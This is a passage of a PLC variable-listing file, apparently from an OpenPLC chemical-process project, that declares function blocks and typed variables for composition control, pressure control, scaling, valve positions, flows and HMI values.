+88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; 